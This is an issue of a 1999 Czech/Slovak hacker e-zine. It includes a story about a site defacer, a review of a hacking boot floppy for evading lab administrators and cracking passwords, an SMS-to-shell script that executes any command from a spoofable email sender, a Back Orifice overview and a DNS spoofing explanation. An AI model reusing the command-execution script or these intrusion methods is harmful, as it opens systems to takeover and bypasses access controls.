    Ale podme naspat do REFRIGERATORS R Us, Dogbery bol v praci uz zasa celu noc
    a hral sa z logmi. Objavil v nich, ze ludia z marketingoveho oddelenia mali
    neuveritelne vela spojeni zo servera adagency. Rozhodol sa, za na druhy den
    sa bude musiet opytat admina na adagency, bol to jeho kolega, ktory mu niekolko
    krat pomahal instalovat nejaky software.


    Prave ked bol na odchode domov, uz konecne sa chcel vyspat, zazvonil telefon
    v jeho kancelarii. Bol to jeden zo zakaznikov firmy a stazoval sa na to,
    ze na ich webovskej stranke je namiesto informacii porno. Okamzite sa vrhol
    k browseru a pozrel si znicenu stranku, dalsie co urobil, bolo to, ze vytrhol
    ethernetovy kabel a odpojil tym celu siet od Internetu.


    Abednego bol velmi sklamany, ze jeho dielo vyslo tak skoro nazmar. A spomenul si,
    ze na serveroch zanechal az prilis vela zaznamov o svojom vyvadzani a preto sa
    rohodol, ze ich pojde zmazat. Pouzil znamu cestu a to dial-up na picasso,
    nastastie Dogbery o tejto ceste este nevedel. Nedal si s tym moc namahy,
    preformatoval cely disk adminovho pocitaca ;).


    Ked prisiel Dogbery k pocitacu, uz na nom nic nebolo. Neostavalo mu nic ine
    ako nan instalovat cely system znova. (Ale Abednego nevedel, ze zostal v logoch
    EtherPeeku beziaceho na vedlajsom Machintoshi.)


    Abednego sa potmehutsky usmieval nad svojim vitazstvom a popri tom floodoval
    refrigerus.com nezmyselnymi datami. Teraz sa na Dogberyho valili z kazdej strany
    hlasenia jeho nadriadenych, ze zo strankou nie je nieco v poriadku. Zaroven
    mu volal jeho sef, ze sa nemoze z hotelovej izby pripojit na mail server.
    Absolutne znechuteny Dogbery musel ist este rano az za viceprezidentom
    pre technologie pre povolenie, aby mohol vycistit kazdy pocitac v ich sieti,
    musel preinstalovat software na kazdom pocitaci a vsetkym zmenit passwordy.
    Ale celkova previerka systemu si bude vyzadovat hlbsiu analyzu a vypnutie systemu
    na niekolko dni.


    Od tohoto casu boli Abednegove destruktivne exploity priamou vazbou medzi nim
    a hackovanim.


    Dogbery nezahalal a chcel ziskat nejake udaje a tak zavolal na marketingove
    odelenie a pohovoril si s jeho riaditelom. Potom si nabootoval svoju adminovsku
    masinku, na ktoru natiahol novy system. Vedla na Windows NT servery si spustil
    T-sight, program ktory moze monitorovat cinnost kazdeho pocitaca v sieti.
    A teraz spustil Dogbery svoj "kolotoc". T-sight bude teraz davat pozor na celu
    siet a pripadneho utocnika presmeruje do "vezenia". Tam moze byt monitorovany
    a sledovany. Spolu so svojimi kamaratmi vytvoril vo vezeni podobu jeho systemu
    a este do neho pridal "VELMI" dolezite financne udaje (cisla platobnych kariet
    a take veci okolo penazi :) ).


    O dve noci neskor, ked rucicky na hodinach ukazovali 8:17 p.m. sa niekto poku-
    sil o utok na admin.refrigerus.com. Bol to Abednego. Preco sa vratil? Jeho kama-
    rati z hacker undergroundu videli stranku a velmi sa im pacila, a aj poslali
    list do CNN. Publicita mu stupla do hlavi! :( A preto takto "podgurazeny" sa
    vratil a chcel z toho vytlct viac.


    Ale dnes si nedaval taky pozor a logol sa priamo na "demo konto" ISP a
    odtial priamo na adagency, aby mal rychlejsi pristup na back door na fantasii.
    Na admin.refrigerus.com padol do vezenia vytvoreneho T-sightom, a strasne za-
    cal tahat udaje o ktorych si myslel, ze su velmi dolezite.


    Dogbery bol tiez zamestnany. Rychlo analyzoval data z T-sightu, zistil password
    na fantasiu, cim ziskal moznost spatnej cesty na adagency. Zavolal adminovy na
    adagency.com, bohuzial ho v praci uz nezastihol ale nasiel ho v kaviarni,
    kde sa zabaval so svojou priatelkou. Ten mu prislubil pomoc pri patrani.


    Zatial co sa Abednego snazil dostat velky subor dat, mysliac si ze ziskal
    poklad, Dogbery nainstaloval sniffer na adagency.com. Takto sa pomalicky dostal
    na Abednegove rootkity pretoze on mal vsade ten isty password, ktory sa ale
    jemu podarilo odsniffovat. Par minut pred tym ako Abednego dokoncil download sub-
    boru, sa Dogberimu podarilo uspesne vystopovat jeho pocitac az cez jeho ISP.


    No a uz mal dost informacii aby ich predal FBI (KGB). Ta ziskala po niekolkych
    dnoch z telefonnych logov identifikaciu Abednega. S dostatocnim poctom dokazov,
    plus dokazy z EtherPeeku, mohlo zacat vysetrovanie a bolo aj vznesene obvinenie.
    Potom FBI uskutocnila domovu prehliadku u Abednega a skonfiskovala pocitac.
    Jeho disk obsahoval vsetko. Ale aj tak sa mu podarilo niektore udaje zmazat,
    ale laboratoriam FBI sa ich aj tak podarilo extrahovat. Ako aj udaje o plieneni
    systemov ISP a niekolko bank na severe krajiny.


    Abednego bol obvineni z nezakonneho ziskavania dat, pocitacovej kriminality.
    Abednego dostal dva roky vo federalnej veznici. Cest jeho pamiatke! :)



    mos, mos(at)phuture.sk

    idea by carolyn p. meinel


    navrat na obsah




    0000010100000001000001020061730200619240
    pajkus
     pajkus      03.03.2004 - 13:28:11 , level: 1, UP   NEW




    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #10, 9.1.99, prielom(at)hysteria.sk, http://hysteria.sk/prielom/




    obsah



    intro

    brutalware

    inet cez mobil

    novy shell pro windows

    dns spoofing

    styl formatovani zdrojovych textu jadra linuxu

    valka elektronickych gangu

    je mi to jedno







    intro



    nasiel som koniec sveta. hned sa mi to zdalo podozrive, ked sa mi
    v aute polhodinu pred tym ako som TAM dorazil natrvalo stratil signal
    na mobile a nepomahal ani osvedceny recept, to jest vytrcit antenu
    v smere predpokladaneho nalezu najblizsej bts-ky a v pravidelnych
    intervaloch plieskat mobil o pristrojovu dosku. rozhodnutie stravit
    romanticky vikend na samote na vidieku neovplyvnilo samozrejmost pribalit
    si notebook a modem. ked som po par testoch pripojenia
    pochopil ze ma caka vikendove surfovanie letovou rychlostou 1200 baudov
    cez analogovu ustrednu s pulzovym dialom, pochopil som ze som asi
    fakt na konci sveta. pripomenulo mi to ale stare dobre casy zaciatkov
    internetu... taka nostalgia... surfovanie pri rychlosti 1200 baudov je
    romanticke - skuste si to - pekne vidite ako vam naskakuju jednotlive
    pismenka do okna telnetu..



    asi to je tou nostalgiou... rozhodol som sa konecne pozliepat nove
    cislo prielomu.. po dost trapnom osmom cisle som trucoval a povedal som
    si ze ked to nema stat za to, tak radsej netreba nic pustat do eteru.
    potom prisiel ten forik s neexistujucim deviatym cislom, ktore ziskalo
    obrovsku popularitu vdaka tomu ze vobec neexistovalo...


    inak co sa tyka toho maleho cgi-binu na uvodnej stranke prielomu, do ktoreho
    sa vpisuje e-mail pre automaticku notifikaciu pri novom cisle - musim vam
    oznamit ze sa mi uspesne podarilo vymazat subor s e-mailami ktore tam
    boli zadane... takze pokial ste sa tam uz raz zaregistrovali, musite to
    spravit este raz..


    pajkus, 9.1.99, libichava



    brutalware



    Je to pomerne nedavno, co se na hysterce objevil novy projekt: Brutalware
    Linux. Na adrese
    http://hysteria.sk/brutalware/ je mozne stahnout jeho prvni
    funkcni verzi.



    O co se jedna? Brutalware Linux je, jak jeho autori uvadeji, disketova
    distribuce, pomoci ktere muzete bezne PCcko promenit v nebezpecnou
    hackerskou workstation. Nepotrebujete nic instalovat, proste prijdete k
    pocitaci, zapnete, vlozite do mechaniky nejdriv bootdisk, pak jeste rootdisk
    a tzv. supplementary disk, a je to.
    Diky tomu prijde Brutalware ke slovu hlavne ve skolnich labech, kde
    je klasicky windozacky nebo novellacky login prompt, aniz by nekdo
    pocital s tim, ze si muzete poridit vlastni operacni system a elegantne tak
    proklouznout pod cetnymi nastrahami nezdolnych administratoru. Ziskate tim
    v podstate anonymni pristup na internet, a k tomu mate plno uzitecnych
    nastroju primo na lokalnim pocitaci.



    Brutalware Linux dokonce pocita s moznosti, ze bootovani z disketove
    mechaniky je zakazano v BIOSu a BIOS je chranen heslem - predpokladejme ze
    nefunguji defaultni hesla. Jadro systemu se zavadi pomoci LOADLINu primo
    z MS-DOSu, takze zadne bootovaci mechaniky nepotrebujete.
    Jediny problem je se siti. Podle readme fajlu je filozofii Brutalware
    vytvoreni maximalne prenositelne distribuce, takze neni mozne vytvaret fixni
    skripty na konfiguraci site. Verze 1.0 pocita s tim, ze ve vetsine labu je
    pouzito dynamicke pridelovani IP adresy pomoci BOOTP serveru, takze defaultni
    konfigurace probiha prave timto zpusobem. Pokud nemate bootp server, nezbyva
    nez otravne konfigurovat sit rucne. To mi prijde jako velka nevyhoda, autori
    by meli do distribuce pridat aspon jednoduchy skript na rucni konfiguraci.
    (Nicmene prozradim, ze sniffovat provoz lze i bez nastavene site ;)



    Na disketach najdete standardni arxivove utility idealni pro auditing site:
    genialni portscanner nmap2, ktery krome mnoha skenovacich technologii umoznuje
    i zjisteni verze operacniho systemu pomoci 'fingerprintingu', jednoduche
    cuchadlo linsniffer, interaktivni sniffer s grafickym interfejsem Sniffit,
    spoofer/hijacker konexi Juggernaut. K detekci sniffujicich okolnich pocitacu
    se hodi neped, pokud se chcete seznamit s hezkou slecnu vedle vas, muzete
    ji pomoct nastartovat pocitac shozeny pomoci targy - multinukeru
    zvladajiciho velke mnozstvi dosud znamych DoS utoku.
    Hackerske kolektivy mohou pouzit redirektor, takze spojeni vypada jako z
    jednoho zdroje. Svoji praci mohou koordinovat na elitnim chatu, ktery se na
    diskety podarilo nacpat, a ktery se defaultne spusti na portu 7000 (ze by
    inspirace hysteria-talkerem?). Pokud k tomu budete mit na skolnich 386kach
    odvahu, muzete zkusit cracknout nejaka hesla pomoci johna, ktery je na
    diskete i s celkem ucinnym slovnikem nejcasteji pouzivanych hesel.
    Samozrejmosti jsou sitovi klienti - ftp, telnet a ssh.
    Suitu programu zavrsuje jeden sympaticky nesmysl. Je jim shellovsky
    skript "/usr/src/ryby", ktery po spusteni pouze vypise text "Prilis mnoho ryb".
    Jestli to znamena, ze autori jsou vegetariani a ryby jim uz lezou na mozek tak,
    ze programuji takove silenosti jako Brutalware Linux, nevim, ale tohle se
    jim povedlo.



    Kazdopadne to vypada jako slibne se vyvijejici projekt - nevahejte a
    sosejte, Brutalware je k dispozici na adrese http://hysteria.sk/brutalware,
    jako (skoro) vse co neni od Microsoftu samozrejme zdarma. Pokud se vam bude
    Brutalware libit, najdete nejakou chybu nebo se vytasite s nejakym napadem,
    piste autorum na adresu brutalware(at)hysteria.sk.



    newroot, newroot(at)hysteria.sk


    navrat na obsah



    inet cez mobil



    posielanie e-mailov z mobilneho telefonu cez SMS v sieti Globtel funguje
    uz zopar mesiacov. eurotel este oficialne takuto sluzbu neposkytuje (?),
    ale uz dost dlho funguje skusobne zasielanie e-mailov cez cislo 111. staci
    napisat sms-ku vo formate user!server.sk text text text text, poslat
    to na cislo 111 a zadany text sa posle na adresu user@server.sk, ako odosielatel
    je uvedene vase cislo 421903xxxxxx@sms.eurotel.sk. takisto bezplatne funguje
    posielanie sms sprav z internetu cez e-mail, staci poslat e-mail na adresu
    xxxxxx@sms.eurotel.sk. neovladam bohvieako sluzby ewrotelu, ale mam dojem
    ze tieto sluzby este nie su oficialne zverejnene, zatial to funguje asi
    iba skusobne.



    www sms brana v ewroteli.



    vdaka tymto novinkam je vlastne uplne zbytocna platena sluzba
    eurotelu "SMS brana" cez Web. webovska sms brana na euroteli je navyse
    zbytocne komplikovana a nezmyselne zlozita (cookies a pod), cielom je zjavne zabranit
    automatickemu zasielaniu tisicov SMSiek cez tuto branu, ako sa to stalo pred
    rokom, ked ktosi z CzERTu zaslal z lanprojekt.cz nejakych 60000 sms-iek za
    jednu noc. nie je vsak problem spravit script na zasielanie sms-iek aj
    cez terajsiu webovsku branu ewrotelu, ja sam som si na to spravil scriptik
    ktory mal okolo 50 riadkov. osobne sa divim eurotelu ze nespravia uzivatelsky
    prijemnu a jednoduchu www sms-branu, ktoru by zabezpecili tak, ze by o tom
    legitimny a bezny uzivatel ani nevedel, ale hacker by narazil na stenu - a to
    napriklad spravit tu branu tak, aby sa dal nastavit limit zaslanych sms-iek
    v danom casovom limite z jednej IP adresy, napr. 50 sprav za hodinu z jednej
    IP adresy... normalny uzivatel by si to nikdy nevsimol, ale hacker by dokazal
    poslat za jednu noc maximalne zopar sto sms-iek.



    ale pome naspat k zasielaniu e-mailov z mobilu. ono vlastne to, naco operatori
    tuto sluzbu propaguju, t.j. samotne zasielanie e-mailu z mobilu je podla mojho
    nazoru dost blbost. pisat SMSku cez ciselny dial mobilneho telefonu je otrava
    a kym clovek napise niekolko-vetovy e-mail, riadne sa zapoti. zasielanie
    e-mailov z mobilu vsak umoznuje velmi cool veci, na ktore bezny uzivatel mozno
    ani nepomysli. nasleduje par moznosti na ilustraciu...



    zasielanie unix prikazov z mobilu



    nejdna z najzaujimavejsich veci je posielanie unixovych prikazov priamo z mobilu
    na vase unix konto. ja osobne najcastejsie posielam prikazy typu uptime, who,
    ps, finger user@server.sk, ping a podobne... technicky je to mozne tak, ze

    do domaceho adresara si dam takyto subor .forward:



    |/home/pajkus/bin/gsmunix
    pajkus


    a vsetka posta sa mi okrem ulozenia do mailboxu posle aj do scriptu "gsmunix".
    tento programcek najprv pozrie ci je to e-mail zaslany z mojho mobilu a ak
    ano, nacita si prikaz, execne ho, a posle mi naspat vypis z prikazu:


    #!/bin/sh
    # predpokladajme ze moje cislo ewrotelu je 0903 555123 :)

    # minimalny pocet pismen prikazu
    min=2

    # pracovny adresar
    adresar=/home/pajkus/bin

    # dnesny datum v peknuckom formate, koli zapisovaniu logov
    datum=`date | awk '{print $2 "-" $3 "-" $4}'`

    # nacitame si odosielatela mailu, je to vzdy prvy riadok
    read line
    from=`echo "$line" | awk -F "From " '{print $2}'`

    # ak nie je mail zaslany z mojho mobilu, tak exit
    echo "$from" | grep -i 421903555123@sms.eurotel.sk > /dev/null || exit 0

    # nacitanie prikazu
    while read line ; do
    echo $line | grep "prikaz:" > /dev/null &&
    prikaz=`echo "$line" | awk -F "prikaz:" '{print $2}'`
    done

    # kedze mobily nemaju znaky "|", "@" a podobne, nadefinujeme si nahradne znaky
    prikaz=`echo "$prikaz" | sed 's/#/|/g' | sed 's/!/@/g'`

    # zapis do logu... opatrnosti nikdy nie je nazvys :)
    echo "$datum $from $prikaz" >> $adresar/gsm-unix-history

    # ak nema prikaz minimalny pocet znakov, tak exitni
    if [ $min -gt `echo "$prikaz" | wc -c` ] ; then
    exit 0
    fi

    # zapiseme prikaz do suboru, execneme a posleme output naspat na mobil
    echo "$prikaz" > $adresar/gsm-unix-prikaz
    chmod 700 $adresar/gsm-unix-prikaz
    $adresar/gsm-unix-prikaz | mail 555123@sms.eurotel.sk



    cize staci poslat SMSku vo formate login@server.sk prikaz: sem_unixovy_prikaz
    a poslat na cislo 111 a o par sekund dostanes naspat vypis prikazu...



    kombinacia SMS -> unix skryva netusene moznosti :) da sa vymysliet vselico,
    dalsia vec co som realizoval je posielanie SMSiek medzi sietou Globtel a
    Eurotel. situacia medzi tymito dvoma operatormi je zial taka, ze su medzi
    nimi nekrestanske poplatky za telefonaty (okolo 15 Sk / min) a absolutne
    nie je moznost posielat SMSky z globtelu na eurotel, alebo naopak. staci
    si trosku upravit horny scriptik a po nacitani prikazu si staci zadat
    globtelacke cislo a nacitat text a potom ho poslat dalsim scriptom cez
    globtelacku www sms branu na mobil v sieti globtel. okrem toho ze je to
    prakticke je to aj moja vlastna forma vztyceneho prostrednika na manazerov
    eurotelu a globtelu - kym vy sa medzi sebou neviete dohodnut, hocikto vas
    v pohode dokaze obist zaslanim SMSky cez internet. rozmyslal som aj o
    zverejneni tejto sluzby, myslim si ze posielanie SMSiek medzi ewrotelom a
    globtelom by privitalo velmi vela ludi. bojim sa vsak ze by to narobilo
    velky traffic ktory by si operatori vsimli a sluzbu mi s najvacsou pravdepodobnostou
    zakazali.



    dalsi dost uleteny sposob ako vyuzit posielanie e-mailov cez SMS je IRC -
    Internet Relay Chat. pokial patrite medzi fanatikov traviacich dost casu
    na irc, urcite to privitate. na hysterke uz asi dva mesiace bezia dve
    sluzby, blizsie info je na
    http://hysteria.sk/ircgsm.html a
    http://hysteria.sk/ircbot.html. druha sluzba dokonca umoznuje kompletne
    irc-ckovanie z mobilu, mozete posielat text na kanal, msg-ovat, menit
    topic, atd.. a prijimat naspat zadany text.



    na zaver este pripajam script na jednu z dvoch vyssie
    spomenutych sluzieb - zasielanie odkazov z mobilu na irc. je to na ilustraciu,
    na zaklade tohoto scriptu by si uz mal kazdy dokazat upravit si to podla
    vlastnych potrieb a vyuzivat mobil na rozne druhy interakcie s unix serverom
    a s internetom vo vseobecnosti. zabudni na drahe notebooky a datovy
    prenos cez gsm... ako vidis na neobmedzene vyuzivanie internetu cez mobil
    ti staci aj ciselnikovy dial vaseho mobilu :)





    #!/bin/sh

    min=5
    min2=5
    datum=`date | awk '{print $2 "-" $3 "-" $4}'`
    read line
    from=`echo "$line" | awk -F "From " '{print $2}'`
    echo "$from" | grep -i eurotel.sk > /dev/null || exit 0
    from=`echo "$from" | awk -F"@" '{print $1}' | sed 's/421903//'`
    if [ $min -gt `echo "$from" | wc -c` ] ; then
    exit 0
    fi

    mail=`echo "0903$from"`
    while read line ; do
    echo "$line" | grep "t:" > /dev/null && {
    irc=`echo "$line" | awk -F "t:" '{print $2}'`
    nick=`echo "$line" | awk -F "n:" '{print $2}' | awk '{print $1}'`
    }
    done

    echo "$datum $mail $nick $irc" >> /home/ircgsm/history
    if [ $min2 -gt `echo "$irc" | wc -c` ] ; then
    exit 0
    fi

    echo "USER bonzacik hysteria.sk hysteria.sk :robot na dorucenie sprav z GSM" > /home/ircgsm/ides-irc
    echo "NICK bonzacik" >> /home/ircgsm/ides-irc
    echo "JOIN $nick" >> /home/ircgsm/ides-irc
    echo "PRIVMSG $nick :cafte ludkovia, ja som bonzacik a dorucujem spravy z
    gsm mobilov na irc.. blizsie info viz http://hysteria.sk/irc-gsm.html" >> /home/ircgsm/ides-irc
    echo "PRIVMSG $nick :sprava od $mail :" >> /home/ircgsm/ides-irc
    /bin/echo -n "PRIVMSG $nick :" >> /home/ircgsm/ides-irc
    echo "$irc" >> /home/ircgsm/ides-irc
    echo "QUIT :odchod na parky" >> /home/ircgsm/ides-irc
    cat /home/ircgsm/ides-irc | nc irc.stealth.net 6667 > /dev/null




    pajkus


    navrat na obsah




    tento clanok mi prikvitol do mailboxu uz dost davno, ked bol
    backorifice este horuca novinka ktora riadne otriasla inetom. napriek
    tomu ze backorifice uz nie je "hot", rozhodol som sa sem tento
    prispevok zaradit - bezpecnost windowsu je totiz velky problem
    odkedy sa zacali windowsove stanice pripajat na internet a este dlho
    aj bude, pokial sa windoze od zakladu principialne nezmeni. celkova bezpecnost
    pocitacovej siete je totiz taka ako je bezpecny jej najslabsi diel.
    a tym su casto windozove stanice.



    backorifice zmedializoval a upozornil na to co uz hackeri robia dlhe roky - lozia
    bez problemov po vasich windozovych hard diskoch. za casov SERTu som
    napisal taky Macro Virus pre Word 6.0 (vtedy boli makro virusy pohodicka,
    Word 6.0 neupozornouje na AutoLoad makra), ktory si po otvoreni word
    dokumentu zasielanym e-mailom natiahol cez siet jednoduchy program,
    ktory sa nainstaloval do windozu, spristupnil disk cez FTP a dali sa mu
    zadavat aj dva druhy prikazov - zobrazovanie dialog okien a execovanie
    programov (napr. SERTacky arplog.exe na logovanie klaves a pod..)
    .. tym chcem povedat jedno - taketo programceky nie su tazke spravit
    a vzdy tu boli a budu. A pozor, nie vsetky su zname (a preto aj
    detekovatelne antivirmi) ako backorifice.


    pajka



    novy shell pro windows



    jeste donedavna byli uzivatele windows odkazani jen na standardni
    uzivatelske rozhrani. klikaci ikonky, hezke kurzory, odpadkovy kos
    a podobne user-friendly chujiny. sice si to mohl kazdy upravit po svem,
    ale porad to bylo to same v blede modrem. systemovi administratori,
    hackeri a podobna chatra zvykla na drsne prostredi prikazove radky byla
    dlouho pripravovana o to spravne poteseni.

    az pred par mesici se objevil alternativni shell (rozumej uzivatelske
    rozhrani) pro windows 95. a co vic - mel hned zabudovanou podporu
    dalkove spravy, autentifikaci, kryptovane spojeni, integrovany
    webserver atd. destrukce-chtivi uzivatele zas oceni sifrovaci server,
    redirektor (krome wingate jediny redirektor pod windows co znam) nebo
    keylogger. pokud uz vetrite nejakou
    vylomeninu, bud jste hodne i nteligentni - v tom pripade vsechna cest,
    nebo backorifice, jak se
    program jmenuje, uz znate - a to neplati, to nehraju.



    ano, tenhle program patri do kategorie "bad". napsali to hackeri a napsali
    to pro hackery. jedna se o trojsky kun - nenapadny .exe soubor, ktery
    vam prijde mailem nebo si ho nekde stahnete. spustite ho, chvili to nic
    nedela a pak to skonci :-) "dalsi betaverze, ktera ani poradne
    nenastartuje", reknete si a pustite to z hlavy. netusic ovsem, ze se ve
    vasem pocitaci prave zabydlela potvora, ktera bude ochotne poslouchat
    kazdeho kdo zna to spravne heslo, a vas bude naopak s radosti ignorovat.
    majitel potvory od teto chvile muze sledovat vse co delate, spoustet
    libovolne aplikace, ukoncovat vase programy, provokovat vas dialogovymi
    okny s texty jako "cau debile" nebo "1 0wN U". elitni vec je treba funkce
    capture screen, coz predvede hackerovi obrazek - fotografii vasi obrazovky.
    nebo dal: samozrejmosti u takovych programu je napriklad "system shutdown",
    "system freeze" a podobne veci. velmi nebezpecne je zase moznost spusteni
    redirektoru, takze si z vas nekdo muze udelat gateway. !
    je k dispozici mnoho klientu - zajimave provedene graficke rozhrani
    pro windows, pro masochisty prikazova radka jak pro windows, tak pro
    linux - me temne ja potesila zlomyslnost s jakou panove z redhat
    software zaradili linuxoveho klienta do oficialni distribuce redhat
    linuxu. (server i klienti jsou k dispozici na adrese h
    ttp://www.cultdeadcow.com, ale zbytecne tam nelezte, stejne to uz
    vetsina z vas ma na disku.)



    skvela demonstrace naprosteho nedostatku bezpecnosti ve windows, co?
    absence pristupovych prav - kazdy program je ihned "root". hesla
    ulozena v cache (s pusou otevrenou jsem koukal na stale platna
    hesla od dial-upovych kont, ktera zustala viset kdesi v hlubinach windows -
    pristupna pro kohokoliv.) dalsi vec je v lidech: nedostatek pocitacoveho
    vzdelani, potazmo zakladniho pudu cyber-sebezachovy u uzivatelu systemu,
    ktere nenuti myslet. spravce unixoveho systemu jen prece jen tak neco
    nespusti kazdou binarku co mu prijde pod ruku.


    presto si nemyslim, ze je to spatne. pokud maji pocitace lidem u
    snadnovat lidem zivot, nemuzeme predpokladat, ze si ho uzivatele
    budou ztezovat plytvanim intelektualniho potencialu na studium o
    vladani pocitacu. od toho jsou specialiste, ze. ten dela to a ten
    zas ono - a vsichni dohromady udelame moc. prave proto bych vsak
    od firmy, ktera dela operacni system s extremne jednoduchym a
    lamer-friendly rozhranim cekal, ze se bude nalezite starat o
    bezpecnost svych zakazniku, kteri nevedi jake nastrahy na ne
    v temnem internetovem lese cekaji.


    newroot, newroot(at)hysteria.sk


    navrat na obsah



    dns spoofing



    cosi o DNS



    DNS znamena Domain Name System, co by sa v pripade smrtelnej potreby mohlo
    prelozit do materciny ako System Domenovych Nazvov. Take veci ako Domena
    snad vysvetlovat nemusim. O co v tomto pripade ide ? O princip. Vzhladom na
    to, ze nie kazdemu sa chce napriklad pri browsovani pisat IP adresu masiny,
    DNS zabezpeci, ze moze napisat domenove meno, napriklad
    www.supersexsite.com. Dalsim dolezitym pojmom je DNS server.
    To je masina, ktora ma spusteny nameserver daemon obycajne pocuvajuci
    na UDP porte 53. Ked sa zaregistruje nova domena, registruje ju Internic.
    Internic je organizacia, ktora sa stara o system DNS ako taky. V principe kazda masina,
    ktora je na inete ma svoje IP a svoje meno, napr. "comp1.firma.sk",
    a Internic v principe vie, ako sa da k tejto masine dostat. Ked si clovek
    na tejto masine chce pozriet www.supersexsite.com, jednoducho napise tento
    nazov do browsera. Nasledovne sa masina opyta najblizsieho nadefinovaneho DNS servera "ns.firma.sk",
    aku IP adresu ma tato stranka. Tento sa opyta svojho nadradeneho DNS servera a pretoze
    struktura systemu DNS je stromova, dalsia otazka vacsinou smeruje na Internic, ktory je
    na vrchole stromu. Tuto sa dozvieme, ze domeny ".com" ma na starosti DNS server
    "ns.comdomeny.com" s IP 1.2.3.4. Tu sa dozvieme, ze domenu "supersexsite.com" ma na
    starosti server "ns.supersexsite.com" s IP 1.3.4.5. No a tento DNS server nam oznami,
    ze "www.supersexsite.com" ma IP adresu 1.3.4.6. No a nasa masina sa potom napoji na
    tuto IP adresu. Cely tento proces sa vola resolving alebo resolvovanie.
    (Ak sa vam tento popis zda dost blboidny, nezda sa vam to. Ale na druhej strane, tento text
    sa moze zist aj pre ine ucely :-))



    Prax je taka, ze velke percento traficu na inete tvori prave DNS. Aby sa tomu zamedzilo,
    DNS servery si tieto informacie ukladaju do cache. Teda ak chcem ist na "sex.supersexsite.com",
    moj DNS server sa opyta priamo DNS servera "ns.supersexsite.com" a tym padom odpadne kopec
    komunikacie, dat a casu.



    No a vdaka tomuto cacheovaniu (dobre slovo) mozme robit na sieti neplechu.
    Potrebujeme na to ale rootovsky access na nasom nameserveri.



    DNS spoofing



    Princip je ten, ze DNS funguje pomocou UDP paketov.
    Povedzme, ze sedime na masine "ns.bigboss.com" a mame roota a mame autoritu nad domenou
    bigboss.com, to znamena, ze robime DNS server pre tuto domenu. Dalej mame server
    "obet.com", na ktory sa chceme dostat a vieme, ze na tuto masinu sa da nalogovat
    z masiny "sef.obet.com" napriklad bez hesla. Teraz potrebujeme povedat DNS serveru
    "ns.obet.com", ze masina "sef.obet.com" ma IP adresu nasho stroja. Tym sa budeme moct
    pripojit na "obet.com" a budeme vyzerat ako "sef.obet.com".
    Ok aby ste si nemysleli, ze fsetko je uplne lahke, treba napisat program, ktory bude
    pocuvat na DNS dotazy a davat na ne falosne odpovede. (Pozrite sa, v ktorom RFC su
    nadefinovane struktury paketov a komunikacia). Dalej si dame pomocou lookup-u
    na serveri "ns.obet.sk" zistit komputer "bigboss.com". "ns.obet.sk" sa opyta
    Internicu, kto ma na starosti domenu bigboss.com a dostane odpoved ze "ns.bigboss.com".
    Tak sa opyta "ns.bigboss.com", aku IP ma "bogboss.com".


    Keby sme mali normalny nameserver, dostal by odpoved ze "bigboss.com" ma IP 1.6.7.8.
    Ale nas program mu na otazku odpovie ze :

    1. reverzna adresa 2.2.2.2. je "sef.bigboss.com" Ta IP je realna IP nasej masiny !!!

    2. ze IP adresa "sef.bigboss.com" je 2.2.2.2.


    Vo co go.


    Opytali sa na jednu otazku, na ktoru sme mu dali dve odpovede, uplne odlisne od toho, co
    sa nas pytali.

    Ked teraz dame connect na obet.sk a tento stroj sa spyta svojho "ns.obet.sk", ake
    meno ma masina 2.2.2.2 a tento pozrie do svojej cache o odpovie mu, ze tento
    stroj sa vola sef.obet.sk. Obet.sk zisti ze tento stroj ma pristup a sme dnu.


    stiper


    navrat na obsah



    Styl formatovani zdrojovych textu jadra Linuxu



    Toto je kratky dokument popisujici uprednostnovany styl formatovani
    zdrojovych textu jadra Linuxu. Styl programovani je velmi osobni
    zalezitost a nebudu nikomu __vnucovat__ sve nazory, ale to, co zde pisi
    plati pro cokoliv co mam byt schopen udrzovat a rad bych to videl
    pouzite i pro vetsinu ostatnich veci. Prosim Vas, alespon si promyslete
    veci ktere zde nadnasim.



    Pro zacatek bych doporucoval vytisknout si Standard formatovani
    zdrojovych textu GNU a NECIST ho. Spalte jej, ma to velkou symbolickou
    hodnotu.



    At tak ci onak jdeme na to:



    Kapitola 1: Odsazovani



    Tabulatory maji odstupy 8 znaku a proto take odsazeni jsou 8 znaku.
    Existuji kacirska hnuti ktera se snazi prosadit odsazovani 4 (nebo
    dokonce 2!) znakove, a je to podobne snaze nadefinovat hodnotu cisla pi
    na 3.



    Zduvodneni: Duvodem pro odsazovani je jasne urcit kde zacina a kde konci
    blok rizeni. Zvlaste kdyz uz jste za obrazovkou 20 hodin v kuse,
    zjistite, ze je dalko jednodussi videt co je kde odsazene kdyz mate
    velke odsazeni.



    Ovsem, nekteri lide namitnou, ze 8-mi znakove odstupy zpusobuji, ze kod
    se posune prilis daleko doprava, a tim znesnadnuji jeho cteni na 80-ti
    znakovych terminalech. Odpoved na to je, ze pokud potrebujete vice nez 3
    urovne odsazeni, tak jste to prehnali a meli by jste vas kod opravit.



    V kratkosti, 8-mi znakove odstupy zlepsuji citelnost kodu a navic budete
    varovani kdyz budete sve funkce zanorovat prilis hluboko. Dbejte techto
    varovani.



    Kapitola 2: Umistovani slozenych zavorek



    Dalsim spornym bodem, na ktery se vzdy narazi pri formatovani zdrojovych
    textu v jazyce C je umistovani slozenych zavorek. Narozdil od velikosti
    odsazeni, zde existuji nektere technicke duvody proc preferovat jeden
    zpusob nad druhym. Ale preferovany zpusob, ktery nam ukazali proroci
    Kernighan a Ritchie, je umistit levou slozenou zavorku na konec radku a
    pravou na zacatek, takto:


          if (plati x) {
    udelame y
    }


    Nicmene, je jedna vyjimka, totiz funkce: u nich umistime levou slozenou
    zavorku na zacatek nasledujiciho radku, takto:

    int funkce(int x)
    {
    telo funkce
    }


    Kaciri na celem svete tvrdi, ze tahle neduslednost je... tedy ...
    nedusledna, ale vsichni cestni lide vedi, ze (a) K&R maji __pravdu__ a
    (b) K&R maji pravdu. Krome toho, funkce jsou stejne specielni (v jazyce
    C je nelze zanorovat).



    Vsimete si, ze prava slozena zavorka je na samostatnem radku __krome__
    pripadu kdy je nasledovana pokracovanim stejneho prikazu, tedy "while" v
